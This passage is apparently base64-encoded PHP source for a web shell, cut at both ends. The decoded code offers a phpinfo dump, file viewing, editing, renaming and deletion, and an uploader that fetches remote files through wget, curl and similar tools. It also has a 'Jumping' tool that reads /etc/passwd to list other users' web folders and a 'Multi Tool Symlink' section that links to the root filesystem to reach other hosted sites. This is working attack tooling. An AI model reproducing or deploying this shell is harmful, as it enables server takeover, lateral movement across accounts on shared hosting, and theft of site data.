15c3FsX2Ryb3BfZGIoJHRtcGRiKTsKIH0KfQogfQp9CmVjaG8gJzwvdGQ+PC90cj4nOwppZiAoJHNxbF9zb2NrKSB7CiAgJGFmZmVjdGVkID0gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHNxbF9zb2NrKTsKICBpZiAoKCFpc19udW1lcmljKCRhZmZlY3RlZCkpIG9yICgkYWZmZWN0ZWQgPCAwKSkgeyAkYWZmZWN0ZWQgPSAwOyB9CiAgZWNobyAiXHQ8dHI+PHRoIGNvbHNwYW49Mj5BZmZlY3RlZCByb3dzOiAkYWZmZWN0ZWQ8L3RoPjwvdHI+IjsKfQplY2hvICc8L3RhYmxlPjwvY2VudGVyPic7CiAgfQplY2hvICc8L2Zvcm0+JzsKfQp9Ci8vKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tWyBiYXRhcyBdLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLy8KCgplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocGluZm8nKSl7IEBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCiAgICBAb2Jfc3RhcnQoKTsKICAgIEBldmFsKCJwaHBpbmZvKCk7Iik7CiAgICAkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgIEBvYl9lbmRfY2xlYW4oKTsgICAgCiAgICAkYXdhbCA9IHN0cnBvcygkYnVmZiwiPGJvZHk+IikrNjsKICAgICRha2hpciA9IHN0cnBvcygkYnVmZiwiPC9ib2R5PiIpOwogICAgZWNobyAiPGRpdiBjbGFzcz1cInBocGluZm9cIj4iLnN1YnN0cigkYnVmZiwkYXdhbCwkYWtoaXItJGF3YWwpLiI8L2Rpdj4iOwp9CmVsc2VpZihpc3NldCgkX0dFVFsndmlldyddKSAmJiAoJF9HRVRbJ3ZpZXcnXSAhPSAiIikpewogIGlmKGlzX2ZpbGUoJF9HRVRbJ3ZpZXcnXSkpeyAKICAgIGlmKCFpc3NldCgkZmlsZSkpICRmaWxlID0gbWFnaWNib29tKCRfR0VUWyd2aWV3J10pOwogICAgaWYoISR3aW4gJiYgJHBvc2l4KXsKICAgICAgICAkbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7CiAgICAgICAgJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAgICAgICAkb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTsKICAgIH0KICAgIGVsc2UgewogICAgICAgICRvd25lciA9ICR1c2VyOwogICAgfQogICAgJGZpbG4gPSBiYXNlbmFtZSgkZmlsZSk7CiAgICBlY2hvICI8dGFibGUgc3R5bGU9XCJtYXJnaW46NnB4IDAgMCAycHg7bGluZS1oZWlnaHQ6MjBweDtcIj4KICAgIDx0cj48dGQ+RmlsZW5hbWU8L3RkPjx0ZD48c3BhbiBpZD1cIiIuY2xlYXJzcGFjZSgkZmlsbikuIl9saW5rXCI+Ii4kZmlsZS4iPC9zcGFuPgogICAgPGZvcm0gYWN0aW9uPVwiP3k9Ii4kcHdkLiImYW1wO3ZpZXc9JGZpbGVcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbG4pLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRuYW1lXCIgdmFsdWU9XCIiLiRmaWxuLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPgogICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZmlsbi4iXCIgLz4KICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIlJlbmFtZVwiIHZhbHVlPVwiUmVuYW1lXCIgLz4KICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIkNhbmNlbFwiIHZhbHVlPVwiQ2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtJyk7XCIgLz4KICAgIDwvZm9ybT4KICAgIDwvdGQ+PC90cj4KICAgIDx0cj48dGQ+U2l6ZTwvdGQ+PHRkPiIudWt1cmFuKCRmaWxlKS4iPC90ZD48L3RyPgogICAgPHRyPjx0ZD5QZXJtaXNzaW9uPC90ZD48dGQ+Ii5nZXRfcGVybXMoJGZpbGUpLiI8L3RkPjwvdHI+CiAgICA8dHI+PHRkPk93bmVyPC90ZD48dGQ+Ii4kb3duZXIuIjwvdGQ+PC90cj4KICAgIDx0cj48dGQ+Q3JlYXRlIHRpbWU8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVjdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+CiAgICA8dHI+PHRkPkxhc3QgbW9kaWZpZWQ8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVtdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+CiAgICA8dHI+PHRkPkxhc3QgYWNjZXNzZWQ8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVhdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+CiAgICA8dHI+PHRkPkFjdGlvbnM8L3RkPjx0ZD48YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0kZmlsZVwiPkVkaXQ8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmaWxuKS4iX2Zvcm0nKTtcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RlbGV0ZT0kZmlsZVwiPkRlbGV0ZTwvYT4gfCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGw9JGZpbGVcIj5Eb3dubG9hZDwvYT4mbmJzcDsoPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RsZ3ppcD0kZmlsZVwiPkdaaXA8L2E+KTwvdGQ+PC90cj4KICAgIDx0cj48dGQ+VmlldzwvdGQ+PHRkPjxhIGhyZWY9XCI/eT0iLiRwd2QuIiZhbXA7dmlldz0iLiRmaWxlLiJcIj5UZXh0PC9hPiB8IDxhIGhyZWY9XCI/eT0iLiRwd2QuIiZhbXA7dmlldz0iLiRmaWxlLiImYW1wO3R5cGU9Y29kZVwiPkNvZGU8L2E+IHwgPGEgaHJlZj1cIj95PSIuJHB3ZC4iJmFtcDt2aWV3PSIuJGZpbGUuIiZhbXA7dHlwZT1pbWFnZVwiPkltYWdlPC9hPjwvdGQ+PC90cj4KICAgIDwvdGFibGU+CiAgICAiOwogICAgaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdpbWFnZScpKXsKICAgICAgICBlY2hvICI8ZGl2IHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luOjhweDtcIj48aW1nIHNyYz1cIj95PSIuJHB3ZC4iJmFtcDtpbWc9Ii4kZmlsbi4iXCI+PC9kaXY+IjsKICAgIH0KICAgIGVsc2VpZihpc3NldCgkX0dFVFsndHlwZSddKSAmJiAoJF9HRVRbJ3R5cGUnXT09J2NvZGUnKSl7CiAgICAgICAgZWNobyAiPGRpdiBjbGFzcz1cInZpZXdmaWxlXCI+IjsKICAgICAgICAkZmlsZSA9IHdvcmR3cmFwKEBmaWxlX2dldF9jb250ZW50cygkZmlsZSksIjI0MCIsIlxuIik7CiAgICAgICAgQGhpZ2hsaWdodF9zdHJpbmcoJGZpbGUpOwogICAgICAgIGVjaG8gIjwvZGl2PiI7CiAgICB9CiAgICBlbHNlIHsKICAgICAgICBlY2hvICI8ZGl2IGNsYXNzPVwidmlld2ZpbGVcIj4iOwogICAgICAgIGVjaG8gbmwyYnIoaHRtbGVudGl0aWVzKChAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKSkpOwogICAgICAgIGVjaG8gIjwvZGl2PiI7CiAgICB9CiAgfQogIGVsc2VpZihpc19kaXIoJF9HRVRbJ3ZpZXcnXSkpewogICAgICAgIGVjaG8gc2hvd2RpcigkcHdkLCRwcm9tcHQpOwogIH0KICAgIAp9CmVsc2VpZihpc3NldCgkX0dFVFsnZWRpdCddKSAmJiAoJF9HRVRbJ2VkaXQnXSAhPSAiIikpe0Bpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCgogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc2F2ZSddKSl7CiAgICAgICAgICAgICRmaWxlID0gJF9QT1NUWydzYXZlYXMnXTsKICAgICAgICAgICAgJGNvbnRlbnQgPSBtYWdpY2Jvb20oJF9QT1NUWydjb250ZW50J10pOwogICAgICAgICAgICBpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInciKSl7CiAgICAgICAgICAgICAgICAkdGltZSA9IGRhdGUoImQtTS1ZIEg6aSIsdGltZSgpKTsKICAgICAgICAgICAgICAgIGlmKEBmd3JpdGUoJGZpbGV6LCRjb250ZW50KSkgJG1zZyA9ICJmaWxlIHNhdmVkIDxzcGFuIGNsYXNzPVwiZ2F5YVwiPkA8L3NwYW4+ICIuJHRpbWU7CiAgICAgICAgICAgICAgICBlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHNhdmUiOwogICAgICAgICAgICAgICAgQGZjbG9zZSgkZmlsZXopOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgJG1zZyA9ICJwZXJtaXNzaW9uIGRlbmllZCI7CiAgICAgICAgfQogICAgICAgIGlmKCFpc3NldCgkZmlsZSkpICRmaWxlID0gJF9HRVRbJ2VkaXQnXTsKICAgICAgICBpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInIiKSl7CiAgICAgICAgICAgICRjb250ZW50ID0gIiI7CiAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRmaWxleikpewogICAgICAgICAgICAgICAgJGNvbnRlbnQgLj0gaHRtbGVudGl0aWVzKHN0cl9yZXBsYWNlKCInJyIsIiciLGZnZXRzKCRmaWxleikpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBAZmNsb3NlKCRmaWxleik7CiAgICAgICAgfQogICAgCj8+Cjxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4mYW1wO2VkaXQ9PD89JGZpbGU7ID8+IiBtZXRob2Q9InBvc3QiPgo8dGFibGUgY2xhc3M9ImNtZGJveCI+Cjx0cj48dGQgY29sc3Bhbj0iMiI+Cjx0ZXh0YXJlYSBjbGFzcz0ib3V0cHV0IiBuYW1lPSJjb250ZW50Ij4KPD89JGNvbnRlbnQ7ID8+CjwvdGV4dGFyZWE+Cjx0cj48dGQgY29sc3Bhbj0iMiI+U2F2ZSBhcyA8aW5wdXQgb25Nb3VzZU92ZXI9InRoaXMuZm9jdXMoKTsiIGlkPSJjbWQiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNhdmVhcyIgc3R5bGU9IndpZHRoOjYwJTsiIHZhbHVlPSI8Pz0kZmlsZTsgPz4iIC8+PGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUgISIgbmFtZT0ic2F2ZSIgc3R5bGU9IndpZHRoOjEyJTsiIC8+CiZuYnNwOzw/PSRtc2c7ID8+PC90ZD48L3RyPgo8L3RhYmxlPgo8L2Zvcm0+Cjw/cGhwCn0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdsb2dvdXQnKSkKeyAgIAo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+JmFtcDt4PWxvZ291dCIgbWV0aG9kPSJwb3N0Ij4KCjw/cGhwCiAgICB1bnNldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKTsgCiAgICBlY2hvICI8YnIgLz48YnIgLz48Y2VudGVyPkJ5ZWUgISEhISEhPC9jZW50ZXI+IjsgCn0KCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAndXBsb2FkJykpeyBAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7IAplY2hvICIKPHRhYmxlIHN0eWxlPXdpZHRoOjEwMCU7IGJvcmRlcj0wIGNsYXNzPXRhYm5ldCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTEgYWxpZ249Y2VudGVyPgoKICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249dG9wIGJnY29sb3I9IzE1MTUxNSBjbGFzcz1zdHlsZTIgc3R5bGU9d2lkdGg6IDEzOXB4PgogICAgPGNlbnRlcj48Yj48Zm9udCBzaXplPTUgc3R5bGU9aXRhbGljIGNvbG9yPSMwMGZmMDA+VXBsb2FkZXI8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwppZihpc3NldCgkX1BPU1RbJ3VwbG9hZGNvbXAnXSkpewogICAgaWYoaXNfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkcGF0aCA9IG1hZ2ljYm9vbSgkX1BPU1RbJ3BhdGgnXSk7CiAgICAgICAgJGZuYW1lID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107CiAgICAgICAgJHRtcF9uYW1lID0gJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddOwogICAgICAgICRwaW5kYWggPSAkcGF0aC4kZm5hbWU7CiAgICAgICAgJHN0YXQgPSBAbW92ZV91cGxvYWRlZF9maWxlKCR0bXBfbmFtZSwkcGluZGFoKTsgICAgIAogICAgICAgIGlmICgkc3RhdCkgewogICAgICAgICAgICAkbXNnID0gImZpbGUgdXBsb2FkZWQgdG8gJHBpbmRhaCI7CiAgICAgICAgfQogICAgICAgIGVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7CiAgICB9CiAgICBlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHVwbG9hZCAkZm5hbWUiOwp9CmVsc2VpZihpc3NldCgkX1BPU1RbJ3VwbG9hZHVybCddKSl7QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOyAKICAgICRwaWxpaGFuID0gdHJpbSgkX1BPU1RbJ3BpbGloYW4nXSk7CiAgICAkd3VybCA9IHRyaW0oJF9QT1NUWyd3dXJsJ10pOwogICAgJHBhdGggPSBtYWdpY2Jvb20oJF9QT1NUWydwYXRoJ10pOwogICAgJG5hbWFmaWxlID0gZG93bmxvYWQoJHBpbGloYW4sJHd1cmwpOwogICAgJHBpbmRhaCA9ICRwYXRoLiRuYW1hZmlsZTsKICAgIGlmKGlzX2ZpbGUoJHBpbmRhaCkpIHsKICAgICAgICAkbXNnID0gImZpbGUgdXBsb2FkZWQgdG8gJHBpbmRhaCI7CiAgICB9CiAgICBlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHVwbG9hZCAkbmFtYWZpbGUiOwoKfQo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+JmFtcDt4PXVwbG9hZCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0Ij48dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjMyMHB4O3BhZGRpbmc6MCAxcHg7Ij48dHI+PHRoIGNvbHNwYW49IjIiPjxiPlVwbG9hZCBGcm9tIENvbXB1dGVyPC9iPjwvdGg+PC90cj48dHI+PHRkIGNvbHNwYW49IjIiPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCBzdHlsZT0iY29sb3I6IzAwMDAwMDsiIHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIC8+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkY29tcCIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9IkdvIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvcD48L3RkPgo8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/PSRwd2Q7ID8+IiAvPjwvdGQ+PC90cj4KPC90cj48L3RhYmxlPjwvZm9ybT48dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjMyMHB4O3BhZGRpbmc6MCAxcHg7Ij48dHI+PHRoIGNvbHNwYW49IjIiPjxiPlVwbG9hZCBGcm9tIFVSTDwvYj48L3RoPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPSIyIj48Zm9ybSBtZXRob2Q9InBvc3QiIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjA7IiBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+JmFtcDt4PXVwbG9hZCI+Cjx0YWJsZT48dHI+PHRkPlVybDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ3dXJsIiBzdHlsZT0id2lkdGg6MjUwcHg7IiB2YWx1ZT0iaHR0cDovL3d3dy5zb21lLWNvZGUvZXhwbG9pdHMuYyI+PC90ZD48L3RyPgo8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/PSRwd2Q7ID8+IiAvPjwvdGQ+PC90cj4KPHRyPjx0ZD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InBpbGloYW4iPjxvcHRpb24gdmFsdWU9Ind3Z2V0Ij5XZ2V0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0id2x5bngiPkx5bng8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3ZnJlYWQiPkZyZWFkPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0id2ZldGNoIj5GZXRjaDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IndsaW5rcyI+TGlua3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3Z2V0Ij5HZXQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Q3VybDwvb3B0aW9uPgo8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGxvYWR1cmwiIGNsYXNzPSJpbnB1dHpidXQiIHZhbHVlPSJHbyIgc3R5bGU9IndpZHRoOjI0NnB4OyI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+CjwvdHI+PC90YWJsZT48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46MnB4OyI+PD89JG1zZzsgPz48L2Rpdj4KPD9waHAgfQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdqdW1waW5nJykpeyBAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7IAplY2hvICIKPHRhYmxlIHN0eWxlPXdpZHRoOjEwMCU7IGJvcmRlcj0wIGNsYXNzPXRhYm5ldCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTEgYWxpZ249Y2VudGVyPgoKICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249dG9wIGJnY29sb3I9IzE1MTUxNSBjbGFzcz1zdHlsZTIgc3R5bGU9d2lkdGg6IDEzOXB4PgogICAgPGNlbnRlcj48Yj48Zm9udCBzaXplPTUgc3R5bGU9aXRhbGljIGNvbG9yPSMwMGZmMDA+SnVtcGluZzwvZm9udD48L2I+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+CiI7Cj8+CiAgICA8Zm9ybSBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+Jng9anVtcGluZyIgbWV0aG9kPSJwb3N0Ij4KICAgIDw/cGhwCiAgICBlY2hvICI8dGFibGUgY2xhc3M9XCJjbWRib3hcIj48dHI+PHRkIGNvbHNwYW49XCIyXCI+IjsgCigkc20gPSBpbmlfZ2V0KCdzYWZlX21vZGUnKSA9PSAwKSA/IAokc20gPSAnb2ZmJzogZGllKCI8Yj48Ymxpbms+PGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPlstXSBFUlJPUjwvZm9udD48L2JsaW5rPiZuYnNwOzogJm5ic3A7Jm5ic3A7U2FmZV9tb2RlID0gT24gPC9iPjwvdGQ+PC90cj48L3RhYmxlPiIpOwogCnNldF90aW1lX2xpbWl0KDApOwplY2hvICI8dGFibGUgY2xhc3M9XCJjbWRib3hcIj48dHI+PHRkIGNvbHNwYW49XCIyXCI+IjsgIApAJHBhc3N3ZCA9IGZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsgCmlmICghJHBhc3N3ZCkgeyBkaWUgKCI8Yj48Ymxpbms+PGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPlstXSBFUlJPUjwvZm9udD48L2JsaW5rPiZuYnNwOyA6ICZuYnNwOyZuYnNwOyBJIENhbid0IFJlYWQgWyAvZXRjL3Bhc3N3ZCBdPC9iPjwvdGQ+PC90cj48L3RhYmxlPgo8YnI+PGJyPjxicj48YnI+PGNlbnRlcj48ZGl2IGNsYXNzPVwiaW5mb1wiPjxiPjwvZGl2PiAKPGJyPjxicj48ZGl2IGNsYXNzPVwiamF5YVwiPiAmY29weTsgIi5kYXRlKCdZJyx0aW1lKCkpLiIgU2VjdXJpdHkgRXhwbG9kZWQgPC9iPjwvZGl2PjwvY2VudGVyPiIpOyB9CiRwdWIgPSBhcnJheSgpOyAKJHVzZXJzID0gYXJyYXkoKTsgCiRjb25mID0gYXJyYXkoKTsgCiRpID0gMDsgCgp3aGlsZSghZmVvZigkcGFzc3dkKSl7IAokc3RyID0gZmdldHMoJHBhc3N3ZCk7IAppZiAoJGkgPiAxMDApeyAkcG9zID0gc3RycG9zKCRzdHIsJzonKTsgCiR1c2VybmFtZSA9IHN1YnN0cigkc3RyLDAsJHBvcyk7IAokZGlyeiA9ICcvaG9tZS8nLiR1c2VybmFtZS4nL3B1YmxpY19odG1sLyc7IAppZiAoKCR1c2VybmFtZSAhPSAnJykpeyBpZiAoaXNfcmVhZGFibGUoJGRpcnopKXsgYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTsgCmFycmF5X3B1c2goJHB1YiwkZGlyeik7IH0gfSB9ICRpKys7IH0gCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcil7IAplY2hvICcKPHRhYmxlPjx0cj48dGQ+W0ZvdW5kICFdPC90ZD4KICAgIDx0ZD48YSBocmVmPSI/eT0vaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwiPi9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC88L2E+PHRkPjwvdHI+JzsgfSAKIGVjaG8gIjwvdGFibGU+IjsKIH0gCgoKLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3N5bWxpbmsnKSkKeyAgIEBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCmVjaG8gIgo8dGFibGUgc3R5bGU9d2lkdGg6MTAwJTsgYm9yZGVyPTAgY2xhc3M9dGFibmV0IGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MSBhbGlnbj1jZW50ZXI+CgogICAgPHRyPgogICAgPHRkIHZhbGlnbj10b3AgYmdjb2xvcj0jMTUxNTE1IGNsYXNzPXN0eWxlMiBzdHlsZT13aWR0aDogMTM5cHg+CiAgICA8Y2VudGVyPjxiPjxmb250IHNpemU9NSBzdHlsZT1pdGFsaWMgY29sb3I9IzAwZmYwMD5NdWx0aSBUb29sIFN5bWxpbms8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+JmFtcDt4PXN5bWxpbmsiIG1ldGhvZD0icG9zdCI+Cjxmb3JtIG1ldGhvZD0ncG9zdCc+PGNlbnRlcj48dGFibGUgY2xhc3M9J3RhYm5ldCc+PHRyPjx0aCBjb2xzcGFuPSc1Jz48Yj5NdWx0aSBUb29sIFN5bWxpbms8L2I+PC90aD48L3RyPjx0cj48dGg+PGI+TWFudWFsIFN5bWxpbms8L2I+PC90aD48dGg+PGI+QXV0byBTeW1saW5rPC9iPjwvdGg+PHRoPjxiPkRvbWFpbiBWaWV3ZXI8L2I+PC90aD48L3RyPjx0cj48dGQ+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCduYW1lPSdzeW1saW5rcicgdmFsdWU9Ik1hbnVhbCBTeW1saW5rIiAvPjwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnbmFtZT0nc3ltbGlua3MnIHZhbHVlPSJBdXRvIFN5bWxpbmsiIC8+PC90ZD48dGQ+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgbmFtZT0nZG9tYWluJyB2YWx1ZT0iRG9tYWluIFZpZXdlciIgLz48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj48L2Zvcm0+PGJyPjxocj48YnI+PGJyPgo8P3BocCAKCiM9PT09PT09PT09PT09PT09PT1bIE11bHRpIFRvb2wgU3ltbGluayBdPT09PT09PT09PT09PT09PT09IwoKaWYoaXNzZXQoJF9QT1NUWydkb21haW4nXSkpCnsKICAgPz4KICAgIDxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4meD1kdiIgbWV0aG9kPSJwb3N0Ij4KICAgIDxjZW50ZXI+PGgyPlsgRG9tYWluIFZpZXdlciBieSBdPGJyPk5vdGVzOiBJZiBCbGFuayhObyBEb21haW4pIFRoYXQgTWVhbiBOb3QgV29yayBVc2UgRG9tYWluIFZpZXdlciwgWW91IENhbiBVc2UgQXV0byBTeW1saW5rIFNlcnZlcjwvY2VudGVyPjxicj48YnI+CiAgICA8P3BocAogICAgZnVuY3Rpb24gb3BlbkJhc2VEaXIoKQp7CiRvcGVuQmFzZURpciA9IGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOwppZiAoISRvcGVuQmFzZURpcikKICAgIHsKICAgICAgICAkb3BlbkJhc2VEaXIgPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5PRkY8L2ZvbnQ+JzsKICAgIH0KICAgIGVsc2UgCiAgICB7CiAgICAgICAgJG9wZW5CYXNlRGlyID0gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7CiAgICB9ICAgIAogICAgcmV0dXJuICRvcGVuQmFzZURpcjsKfQoKCmVjaG8gJwogICAgPHRhYmxlIHdpZHRoPSI5NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgY2xhc3M9InRkMSIgPgogICAgPHRkIGhlaWdodD0iMTAwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRkMSI+JzsKICAgICRwZyA9IGJhc2VuYW1lKF9fRklMRV9fKTsKICAgICRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7CiAgICAkZGlyID0gQGdldGN3ZCgpOwogICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwogICAgLy8gTEVUJ1MgUExBWSB+CiAgICAjIy5odGFjY2VzcwpAbWtkaXIoJ2V4cGxvZGVkc3ltJywwNzc3KTsKQHN5bWxpbmsoIi8i